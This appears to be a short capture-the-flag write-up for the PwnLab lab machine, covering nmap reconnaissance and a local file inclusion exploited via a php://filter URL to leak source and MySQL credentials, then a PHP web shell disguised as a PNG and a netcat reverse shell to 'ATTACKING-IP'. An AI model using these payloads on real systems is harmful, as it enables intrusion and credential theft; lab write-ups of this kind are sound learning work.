PwnLab

Status complete

Add a Property

Add a comment...

Figuring out the machine IP address

```
sudo netdiscover -i eth1 -r 192.168.99.0/24
```

Bash

Nmap Scanning on the IP address

```
nmap -Pn -p- -e eth1 -oN nmap 192.168.99.102 nmap -A -sC -
sV -p80,111,3306,38447 -e eth1 -oN nmap-detailed
192.168.99.102 nmap -sU -sV -sC -p67,68,111,4500 -oN nmap-
udp 192.168.99.102
```

Bash

nmap 0.4KB

nmap-detailed 1.5KB

nmap-udp 0.8KB

Possible network attack vectors and explanations

Aa Name	Status	Reason
80 HTTP	exploited	There was LFI vulnerability as discussed below
3306 MySQL	exploited	Using the LFI described below I was able to get source code for all the php files in the system, revealing the MySQL Credentials which got me login credentials for 3 accounts.

+ New

COUNT 2

Using the `cmd-shell.php` as the gateway to RS. I uploaded the file disguised as a PNG to the system `/upload/` folder. The cookie value of `lang` was automatically included into the web-page which led to using the uplc

`cmd=malicious-command` using this I executed `(nc -e /bin/sh ATTACKING-IP 80)` a reverse shell into the system.

Rest of the privilege escalation part was something I was not focused on as it involved pwning which I have 0 experience in. So I left the box at this stage with user privileges.

Using one of the LFI vulnerability in the system with `http://192.168.99.102/?page=php://filter/convert.base64-encode/resource=index` I was able to get the source code of `index.php` file and likewise for `config.php` and `upload.php` as well which got me `lang cookie` exploit, `MySQL credentials`, and an idea of how does upload file works.